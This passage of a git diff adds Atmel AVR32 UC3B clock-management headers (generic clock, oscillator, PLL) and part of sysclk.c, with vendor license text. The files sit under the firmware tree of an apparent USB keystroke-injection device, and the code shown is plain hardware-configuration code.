handled. + * + * The following functions are available on all platforms with the same + * parameters and functionality. These functions may be called freely by + * portable applications, drivers and services: + * - sysclk_init() + * - sysclk_set_source() + * - sysclk_get_main_hz() + * - sysclk_get_cpu_hz() + * - sysclk_get_peripheral_bus_hz() + * + * The following functions are available on all platforms, but there may + * be variations in the function signature (i.e. parameters) and + * behaviour. These functions are typically called by platform-specific + * parts of drivers, and applications that aren't intended to be + * portable: + * - sysclk_enable_peripheral_clock() + * - sysclk_disable_peripheral_clock() + * - sysclk_enable_module() + * - sysclk_disable_module() + * - sysclk_module_is_enabled() + * - sysclk_set_prescalers() + * + * All other functions should be considered platform-specific. + * Enabling/disabling clocks to specific peripherals as well as + * determining the speed of these clocks should be done by calling + * functions provided by the driver for that peripheral. + * + * @{ + */ + +//! \name System Clock Initialization +//@{ +/** + * \fn void sysclk_init(void) + * \brief Initialize the synchronous clock system. + * + * This function will initialize the system clock and its source. This + * includes: + * - Mask all synchronous clocks except for any clocks which are + * essential for normal operation (for example internal memory + * clocks). + * - Set up the system clock prescalers as specified by the + * application's configuration file. + * - Enable the clock source specified by the application's + * configuration file (oscillator or PLL) and wait for it to become + * stable. + * - Set the main system clock source to the clock specified by the + * application's configuration file. + * + * Since all non-essential peripheral clocks are initially disabled, it + * is the responsibility of the peripheral driver to re-enable any + * clocks that are needed for normal operation. + */ +//@} + +//! @} + +#endif /* SYSCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/genclk.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/genclk.h new file mode 100755 index 0000000..7e9de8c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/genclk.h @@ -0,0 +1,129 @@ +/** + * \file + * + * \brief Chip-specific generic clock management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_GENCLK_H_INCLUDED +#define CHIP_GENCLK_H_INCLUDED + +/** + * \weakgroup genclk_group + * @{ + */ + +//! \name Chip-specific generic clock definitions +//@{ + +//! The max division factor applicable to the source clock of the generic clock +#define GENCLK_DIV_MAX ((1 << AVR32_PM_GCCTRL_DIV_SIZE) * 2) + +#ifndef __ASSEMBLY__ + +#include +#include + +enum genclk_source { + GENCLK_SRC_OSC0 = 0, //!< Oscillator 0 + GENCLK_SRC_OSC1 = 1, //!< Oscillator 1 + GENCLK_SRC_PLL0 = 2, //!< PLL 0 + GENCLK_SRC_PLL1 = 3, //!< PLL 1 +}; + +//@} + +struct genclk_config { + uint32_t ctrl; +}; + +static inline void genclk_config_defaults(struct genclk_config *cfg, + unsigned int id) +{ + cfg->ctrl = 0; +} + +static inline void genclk_config_read(struct genclk_config *cfg, + unsigned int id) +{ + cfg->ctrl = AVR32_PM.gcctrl[id]; +} + +static inline void genclk_config_write(const struct genclk_config *cfg, + unsigned int id) +{ + AVR32_PM.gcctrl[id] = cfg->ctrl; +} + +static inline void genclk_config_set_source(struct genclk_config *cfg, + enum genclk_source src) +{ + uint32_t mask; + + mask = AVR32_PM_GCCTRL_OSCSEL_MASK | AVR32_PM_GCCTRL_PLLSEL_MASK; + Assert(!(src & ~mask)); + + cfg->ctrl = (cfg->ctrl & ~mask) | (src << AVR32_PM_GCCTRL_OSCSEL); +} + +static inline void genclk_config_set_divider(struct genclk_config *cfg, + unsigned int divider) +{ + Assert((divider > 0) && (divider <= GENCLK_DIV_MAX)); + + /* Clear all the bits we're about to modify */ + cfg->ctrl &= ~(AVR32_PM_GCCTRL_DIVEN_MASK | AVR32_PM_GCCTRL_DIV_MASK); + + if (divider > 1) { + cfg->ctrl |= 1U << AVR32_PM_GCCTRL_DIVEN; + cfg->ctrl |= ((divider >> 1) - 1) << AVR32_PM_GCCTRL_DIV; + } +} + +static inline void genclk_enable(const struct genclk_config *cfg, + unsigned int id) +{ + AVR32_PM.gcctrl[id] = cfg->ctrl | (1U << AVR32_PM_GCCTRL_CEN); +} + +static inline void genclk_disable(unsigned int id) +{ + AVR32_PM.gcctrl[id] = 0; +} + + +#endif /* __ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_GENCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/osc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/osc.h new file mode 100755 index 0000000..3626f63 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/osc.h @@ -0,0 +1,431 @@ +/** + * \file + * + * \brief Chip-specific oscillator management functions + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_OSC_H_INCLUDED +#define CHIP_OSC_H_INCLUDED + +#include + +/** + * \weakgroup osc_group + * @{ + */ + +//! \name Oscillator identifiers +//@{ +#define OSC_ID_OSC0 0 //!< External Oscillator 0 +#define OSC_ID_OSC1 1 //!< External Oscillator 1 +#define OSC_ID_OSC32 2 //!< External 32 kHz oscillator +//@} + +//! \name OSC0/OSC1 mode values +//@{ +//! External clock connected to XIN +#define OSC_MODE_EXTERNAL AVR32_PM_MODE_EXT_CLOCK +//! Crystal connected to XIN/XOUT. Use oscillator gain G0 (400 kHz to 900 kHz) +#define OSC_MODE_XTAL_G0 AVR32_PM_MODE_CRYSTAL_G0 +//! Crystal connected to XIN/XOUT. Use oscillator gain G1 (900 kHz to 3 MHz) +#define OSC_MODE_XTAL_G1 AVR32_PM_MODE_CRYSTAL_G1 +//! Crystal connected to XIN/XOUT. Use oscillator gain G2 (3 MHz to 8 MHz) +#define OSC_MODE_XTAL_G2 AVR32_PM_MODE_CRYSTAL_G2 +//! Crystal connected to XIN/XOUT. Use oscillator gain G3 (8 MHz and higher) +#define OSC_MODE_XTAL_G3 AVR32_PM_MODE_CRYSTAL_G3 +//@} + +//! \name OSC32 mode values +//@{ +//! External clock connected to XIN32 +#define OSC32_MODE_EXTERNAL AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK +//! Crystal connected to XIN32/XOUT32. Use automatic gain control +#define OSC32_MODE_XTAL AVR32_PM_OSCCTRL32_MODE_CRYSTAL +//@} + +//! \name OSC0/OSC1 startup values +//@{ +//! 0 cycles +#define OSC_STARTUP_0 AVR32_PM_OSCCTRL0_STARTUP_0_RCOSC +//! 64 cycles (560 us) +#define OSC_STARTUP_64 AVR32_PM_OSCCTRL0_STARTUP_64_RCOSC +//! 128 cycles (1.1 ms) +#define OSC_STARTUP_128 AVR32_PM_OSCCTRL0_STARTUP_128_RCOSC +//! 2048 cycles (18 ms) +#define OSC_STARTUP_2048 AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC +//! 4096 cycles (36 ms) +#define OSC_STARTUP_4096 AVR32_PM_OSCCTRL0_STARTUP_4096_RCOSC +//! 8192 cycles (71 ms) +#define OSC_STARTUP_8192 AVR32_PM_OSCCTRL0_STARTUP_8192_RCOSC +//! 16384 cycles (142 ms) +#define OSC_STARTUP_16384 AVR32_PM_OSCCTRL0_STARTUP_16384_RCOSC +//@} + +//! \name OSC32 startup values +//@{ +//! 0 cycles +#define OSC32_STARTUP_0 AVR32_PM_OSCCTRL32_STARTUP_0_RCOSC +//! 128 cycles (1.1 ms) +#define OSC32_STARTUP_128 AVR32_PM_OSCCTRL32_STARTUP_128_RCOSC +//! 8192 cycles (72.3 ms) +#define OSC32_STARTUP_8192 AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC +//! 16384 cycles (143 ms) +#define OSC32_STARTUP_16384 AVR32_PM_OSCCTRL32_STARTUP_16384_RCOSC +//! 65536 cycles (570 ms) +#define OSC32_STARTUP_65536 AVR32_PM_OSCCTRL32_STARTUP_65536_RCOSC +//! 131072 cycles (1.1 s) +#define OSC32_STARTUP_131072 AVR32_PM_OSCCTRL32_STARTUP_131072_RCOSC +//! 262144 cycles (2.3 s) +#define OSC32_STARTUP_262144 AVR32_PM_OSCCTRL32_STARTUP_262144_RCOSC +//! 524288 cycles (4.6 s) +#define OSC32_STARTUP_524288 AVR32_PM_OSCCTRL32_STARTUP_524288_RCOSC +//@} + +/** + * \def OSC0_STARTUP_TIMEOUT + * \brief Number of slow clock cycles to wait for OSC0 to start + * + * This is the number of slow clock cycles corresponding to + * OSC0_STARTUP_VALUE with an additional 25% safety margin. If the + * oscillator isn't running when this timeout has expired, it is assumed + * to have failed to start. + */ +/** + * \def OSC0_MODE_VALUE + * \brief Board-dependent value written to the MODE bitfield of + * PM_OSCCTRL(0) + */ +/** + * \def OSC0_STARTUP_VALUE + * \brief Board-dependent value written to the STARTUP bitfield of + * PM_OSCCTRL(0) + */ + +#if defined(BOARD_OSC0_STARTUP_US) +# if BOARD_OSC0_STARTUP_US == 0 +# define OSC0_STARTUP_VALUE OSC_STARTUP_0 +# define OSC0_STARTUP_TIMEOUT 8 +# elif BOARD_OSC0_STARTUP_US <= 560 +# define OSC0_STARTUP_VALUE OSC_STARTUP_64 +# define OSC0_STARTUP_TIMEOUT 80 +# elif BOARD_OSC0_STARTUP_US <= 1100 +# define OSC0_STARTUP_VALUE OSC_STARTUP_128 +# define OSC0_STARTUP_TIMEOUT 160 +# elif BOARD_OSC0_STARTUP_US <= 18000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_2048 +# define OSC0_STARTUP_TIMEOUT 2560 +# elif BOARD_OSC0_STARTUP_US <= 36000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_4096 +# define OSC0_STARTUP_TIMEOUT 5120 +# elif BOARD_OSC0_STARTUP_US <= 71000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_8192 +# define OSC0_STARTUP_TIMEOUT 10240 +# elif BOARD_OSC0_STARTUP_US <= 142000 +# define OSC0_STARTUP_VALUE OSC_STARTUP_16384 +# define OSC0_STARTUP_TIMEOUT 20480 +# else +# error BOARD_OSC0_STARTUP_US is too high +# endif +# if BOARD_OSC0_IS_XTAL == true +# if BOARD_OSC0_HZ < 900000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G0 +# elif BOARD_OSC0_HZ < 3000000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G1 +# elif BOARD_OSC0_HZ < 8000000 +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G2 +# else +# define OSC0_MODE_VALUE OSC_MODE_XTAL_G3 +# endif +# else +# define OSC0_MODE_VALUE OSC_MODE_EXTERNAL +# endif +#else +# ifdef BOARD_OSC0_HZ +# error BOARD_OSC0_STARTUP_US must be defined by the board code +# endif +# ifdef __DOXYGEN__ +# define OSC0_STARTUP_VALUE UNDEFINED +# define OSC0_STARTUP_TIMEOUT UNDEFINED +# define OSC0_MODE_VALUE UNDEFINED +# endif +#endif + +/** + * \def OSC1_STARTUP_VALUE + * \brief Board-dependent value written to the STARTUP bitfield of + * PM_OSCCTRL(1) + */ +/** + * \def OSC1_STARTUP_TIMEOUT + * \brief Number of slow clock cycles to wait for OSC1 to start + * + * This is the number of slow clock cycles corresponding to + * OSC1_STARTUP_VALUE with an additional 25% safety margin. If the + * oscillator isn't running when this timeout has expired, it is assumed + * to have failed to start. + */ +/** + * \def OSC1_MODE_VALUE + * \brief Board-dependent value written to the MODE bitfield of + * PM_OSCCTRL(1) + */ +#if defined(BOARD_OSC1_STARTUP_US) +# if BOARD_OSC1_STARTUP_US == 0 +# define OSC1_STARTUP_VALUE OSC_STARTUP_0 +# define OSC1_STARTUP_TIMEOUT 8 +# elif BOARD_OSC1_STARTUP_US <= 560 +# define OSC1_STARTUP_VALUE OSC_STARTUP_64 +# define OSC1_STARTUP_TIMEOUT 80 +# elif BOARD_OSC1_STARTUP_US <= 1100 +# define OSC1_STARTUP_VALUE OSC_STARTUP_128 +# define OSC1_STARTUP_TIMEOUT 160 +# elif BOARD_OSC1_STARTUP_US <= 18000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_2048 +# define OSC1_STARTUP_TIMEOUT 2560 +# elif BOARD_OSC1_STARTUP_US <= 36000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_4096 +# define OSC1_STARTUP_TIMEOUT 5120 +# elif BOARD_OSC1_STARTUP_US <= 71000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_8192 +# define OSC1_STARTUP_TIMEOUT 10240 +# elif BOARD_OSC1_STARTUP_US <= 142000 +# define OSC1_STARTUP_VALUE OSC_STARTUP_16384 +# define OSC1_STARTUP_TIMEOUT 20480 +# else +# error BOARD_OSC1_STARTUP_US is too high +# endif +# ifdef BOARD_OSC1_IS_XTAL +# if BOARD_OSC1_HZ < 900000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G0 +# elif BOARD_OSC1_HZ < 3000000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G1 +# elif BOARD_OSC1_HZ < 8000000 +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G2 +# else +# define OSC1_MODE_VALUE OSC_MODE_XTAL_G3 +# endif +# else +# define OSC1_MODE_VALUE OSC_MODE_EXTERNAL +# endif +#else +# ifdef __DOXYGEN__ +# define OSC1_STARTUP_VALUE UNDEFINED +# define OSC1_STARTUP_TIMEOUT UNDEFINED +# define OSC1_MODE_VALUE UNDEFINED +# endif +#endif + +/** + * \name Board-specific configuration parameters + * The following definitions must be provided by the board code for all + * working oscillators on the board. + */ +//@{ +/** + * \def BOARD_OSC0_HZ + * \brief Clock frequency of OSC0 in Hz + */ +/** + * \def BOARD_OSC0_STARTUP_US + * \brief Startup time of OSC0 in microseconds + */ +/** + * \def BOARD_OSC0_IS_XTAL + * \brief OSC0 uses a crystal, not an external clock + */ +/** + * \def BOARD_OSC1_HZ + * \brief Clock frequency of OSC1 in Hz + */ +/** + * \def BOARD_OSC1_STARTUP_US + * \brief Startup time of OSC1 in microseconds + */ +/** + * \def BOARD_OSC1_IS_XTAL + * \brief OSC1 uses a crystal, not an external clock + */ +/** + * \def BOARD_OSC32_HZ + * \brief Clock frequency of OSC32 in Hz + */ +/** + * \def BOARD_OSC32_STARTUP_US + * \brief Startup time of OSC32 in microseconds + */ +/** + * \def BOARD_OSC32_IS_XTAL + * \brief OSC32 uses a crystal, not an external clock + */ +#if !defined(BOARD_OSC0_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC0_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC0_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC0_IS_XTAL UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC1_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC1_IS_XTAL UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_HZ) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_HZ UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_STARTUP_US) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_STARTUP_US UNDEFINED +# endif +#endif +#if !defined(BOARD_OSC32_IS_XTAL) +# ifdef __DOXYGEN__ +# define BOARD_OSC32_IS_XTAL UNDEFINED +# endif +#endif +/** + * \name Slow clock frequency limits + * The slow clock is an internal RC oscillator whose frequency may drift + * a bit as a result of temperature changes. These definitions provide + * upper and lower limits which may be used to calculate upper and lower + * limits of timeouts, derived clock frequencies, etc. + */ +//@{ +//! Nominal frequency of the slow clock in Hz +#define OSC_SLOW_NOMINAL_HZ AVR32_PM_RCOSC_FREQUENCY +//! Minimum frequency of the slow clock in Hz +#define OSC_SLOW_MIN_HZ 100000 +//! Maximum frequency of the slow clock in Hz +#define OSC_SLOW_MAX_HZ 120000 +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include + +static inline void osc_enable(uint8_t id) +{ + irqflags_t flags; + uint32_t oscctrl; + + flags = cpu_irq_save(); + + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + oscctrl = OSC0_STARTUP_VALUE << + AVR32_PM_OSCCTRL0_STARTUP_OFFSET; + oscctrl |= OSC0_MODE_VALUE << AVR32_PM_OSCCTRL0_MODE_OFFSET; + AVR32_PM.oscctrl0 = oscctrl; + AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC0EN; + break; +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + oscctrl = OSC1_STARTUP_VALUE << + AVR32_PM_OSCCTRL1_STARTUP_OFFSET; + oscctrl |= OSC1_MODE_VALUE << AVR32_PM_OSCCTRL1_MODE_OFFSET; + AVR32_PM.oscctrl1 = oscctrl; + AVR32_PM.mcctrl |= 1 << AVR32_PM_MCCTRL_OSC1EN; + break; +#endif + + default: + /* unhandled_case(id); */ + break; + } + + cpu_irq_restore(flags); +} + +static inline void osc_disable(uint8_t id) +{ + irqflags_t flags; + + flags = cpu_irq_save(); + AVR32_PM.mcctrl &= ~(1U << (AVR32_PM_MCCTRL_OSC0EN + id)); + cpu_irq_restore(flags); +} + +static inline bool osc_is_ready(uint8_t id) +{ + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_OSC0RDY + id))); +} + +static inline uint32_t osc_get_rate(uint8_t id) +{ + switch (id) { +#ifdef BOARD_OSC0_HZ + case OSC_ID_OSC0: + return BOARD_OSC0_HZ; +#endif + +#ifdef BOARD_OSC1_HZ + case OSC_ID_OSC1: + return BOARD_OSC1_HZ; +#endif + + default: + /* unhandled_case(id); */ + return 0; + } +} + +#endif /* !__ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_OSC_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/pll.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/pll.h new file mode 100755 index 0000000..018ea1a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/pll.h @@ -0,0 +1,201 @@ +/** + * \file + * + * \brief Chip-specific PLL definitions + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_PLL_H_INCLUDED +#define CHIP_PLL_H_INCLUDED + +/** + * \weakgroup pll_group + * @{ + */ + +#define PLL_MAX_STARTUP_CYCLES ((1 << AVR32_PM_PLL0_PLLCOUNT_SIZE) - 1) +#define NR_PLLS 2 + +/** + * \brief Number of milliseconds to wait for PLL lock + */ +#define PLL_TIMEOUT_MS \ + div_ceil(1000 * (PLL_MAX_STARTUP_CYCLES * 2), OSC_SLOW_MIN_HZ) + +/** + * \note The PLL must run at twice this frequency internally, but the + * output frequency may be divided by two by setting the PLLOPT[1] bit. + */ +#define PLL_MIN_HZ 40000000 +#define PLL_MAX_HZ 240000000 + +//! \name Chip-specific PLL options +//@{ +//! VCO frequency range is 80-180 MHz (160-240 MHz if unset). +#define PLL_OPT_VCO_RANGE_LOW 0 +//! Divide output frequency by two +#define PLL_OPT_OUTPUT_DIV 1 +//! Disable wide-bandwidth mode +#define PLL_OPT_WBM_DISABLE 2 +//! Number of PLL options +#define PLL_NR_OPTIONS AVR32_PM_PLL0_PLLOPT_SIZE +//! The threshold under which to set the #PLL_OPT_VCO_RANGE_LOW option +#define PLL_VCO_LOW_THRESHOLD ((AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ \ + + AVR32_PM_PLL_VCO_RANGE1_MAX_FREQ) / 2) +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include +#include + +enum pll_source { + PLL_SRC_OSC0 = 0, //!< Oscillator 0 + PLL_SRC_OSC1 = 1, //!< Oscillator 1 + PLL_NR_SOURCES, //!< Number of PLL sources +}; + +struct pll_config { + uint32_t ctrl; +}; + +#define pll_get_default_rate(pll_id) \ + ((osc_get_rate(CONFIG_PLL##pll_id##_SOURCE) \ + * CONFIG_PLL##pll_id##_MUL) \ + / CONFIG_PLL##pll_id##_DIV) + +static inline void pll_config_set_option(struct pll_config *cfg, + unsigned int option) +{ + Assert(option < PLL_NR_OPTIONS); + + cfg->ctrl |= 1U << (AVR32_PM_PLL0_PLLOPT + option); +} + +static inline void pll_config_clear_option(struct pll_config *cfg, + unsigned int option) +{ + Assert(option < PLL_NR_OPTIONS); + + cfg->ctrl &= ~(1U << (AVR32_PM_PLL0_PLLOPT + option)); +} + +/** + * The PLL options #PLL_OPT_VCO_RANGE_LOW and #PLL_OPT_OUTPUT_DIV will + * be set automatically based on the calculated target frequency. + */ +static inline void pll_config_init(struct pll_config *cfg, + enum pll_source src, unsigned int div, unsigned int mul) +{ + uint32_t vco_hz; + + Assert(src < PLL_NR_SOURCES); + + /* Calculate internal VCO frequency */ + vco_hz = osc_get_rate(src) * mul; + vco_hz /= div; + Assert(vco_hz >= PLL_MIN_HZ); + Assert(vco_hz <= PLL_MAX_HZ); + + cfg->ctrl = 0; + + /* Bring the internal VCO frequency up to the minimum value */ + if ((vco_hz < PLL_MIN_HZ * 2) && (mul <= 8)) { + mul *= 2; + vco_hz *= 2; + pll_config_set_option(cfg, PLL_OPT_OUTPUT_DIV); + } + + /* Set VCO frequency range according to calculated value */ + if (vco_hz < PLL_VCO_LOW_THRESHOLD) + pll_config_set_option(cfg, PLL_OPT_VCO_RANGE_LOW); + + Assert(mul > 2 && mul <= 16); + Assert(div > 0 && div <= 15); + + cfg->ctrl |= ((mul - 1) << AVR32_PM_PLL0_PLLMUL) + | (div << AVR32_PM_PLL0_PLLDIV) + | (PLL_MAX_STARTUP_CYCLES << AVR32_PM_PLL0_PLLCOUNT) + | (src << AVR32_PM_PLL0_PLLOSC); +} + +#define pll_config_defaults(cfg, pll_id) \ + pll_config_init(cfg, \ + CONFIG_PLL##pll_id##_SOURCE, \ + CONFIG_PLL##pll_id##_DIV, \ + CONFIG_PLL##pll_id##_MUL) + +static inline void pll_config_read(struct pll_config *cfg, unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + cfg->ctrl = AVR32_PM.pll[pll_id]; +} + +static inline void pll_config_write(const struct pll_config *cfg, + unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = cfg->ctrl; +} + +static inline void pll_enable(const struct pll_config *cfg, + unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = cfg->ctrl | (1U << AVR32_PM_PLL0_PLLEN); +} + +static inline void pll_disable(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = 0; +} + +static inline bool pll_is_locked(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_LOCK0 + pll_id))); +} + +#endif /* __ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_PLL_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.c new file mode 100755 index 0000000..85c32be --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/uc3b0_b1/sysclk.c @@ -0,0 +1,378 @@ +/** + * \file + * + * \brief Chip-specific system clock management functions + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING 